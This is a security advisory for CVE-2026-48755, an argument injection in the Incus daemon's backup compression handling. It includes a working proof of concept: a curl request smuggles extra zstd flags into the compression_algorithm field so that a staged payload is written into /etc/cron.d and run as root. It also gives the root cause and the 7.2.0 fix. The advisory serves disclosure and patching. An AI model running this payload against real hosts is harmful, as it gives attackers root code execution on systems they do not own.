critical · 9.9CVE-2026-48755Jun 26, 2026

CVE-2026-48755: Incus Argument Injection in Backup Compression Leading to Arbitrary File Write and RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Incus allows a remote authenticated user to inject extra arguments into the backup compression command, letting them write arbitrary files on the host and potentially execute code as root.

Packagegithub.com/lxc/incus/v7/cmd/incusd
Ecosystemgo
Affected< 7.2.0
Fixed in7.2.0

The problem

The Incus daemon validates the `compression_algorithm` field on backup requests by splitting it with `shellquote.Split` and allowlisting only the first token. Extra tokens are never rejected.

`compressFile()` then prepends `-c` and passes all remaining user-supplied tokens directly to `exec.Command`. Any authenticated API client can therefore craft a value like `zstd -d -f --pass-through -o /etc/cron.d/backdoor -- /path/to/payload` and the daemon will execute it verbatim with host privileges, writing attacker-controlled content to any path writable by the incusd process.

Proof of concept

bash
# 1. Stage a cron payload inside the instance
# (incus file push or the API file endpoint)
cat > /tmp/cron_payload.sh <<'EOF'
* * * * * root /bin/sh -c 'id > /incus-zstd-rce'
EOF
incus file push /tmp/cron_payload.sh c01/incus-zstd-cron

# 2. Trigger the backup with the injected compression_algorithm.
# incusd will execute:
#   zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/storage-pools/default/containers/c01/rootfs/incus-zstd-cron
curl -sk \
  --cert ~/.config/incus/client.crt \
  --key  ~/.config/incus/client.key \
  -X POST https://remote-incus:8443/1.0/instances/c01/backups \
  -H 'Content-Type: application/json' \
  -d '{
    "compression_algorithm": "zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/storage-pools/default/containers/c01/rootfs/incus-zstd-cron",
    "instance_only": true
  }'

Root cause is CWE-88 (Argument Injection). The validator checks `fields[0]` against an allowlist but never asserts `len(fields) == 1`, so extra flags pass through unchecked.

`compressFile()` builds `args := []string{"-c"}` and then appends `fields[1:]` directly. Using `zstd --pass-through -o <dest>` redirects the stdin content to an arbitrary host path instead of stdout, turning a normal backup compression step into an arbitrary file write.

The 7.2.0 patch closes this by rejecting any `compression_algorithm` value whose parsed field count exceeds one, so only a bare binary name is accepted.

The fix

Upgrade to Incus 7.2.0 or apply the equivalent backport to your 6.x LTS branch. The fix ensures the validation step rejects any `compression_algorithm` value that parses to more than a single token, blocking all extra-argument injection. No workaround exists short of revoking API access from untrusted clients.

Reported by 7asecurity.

References: [1][2]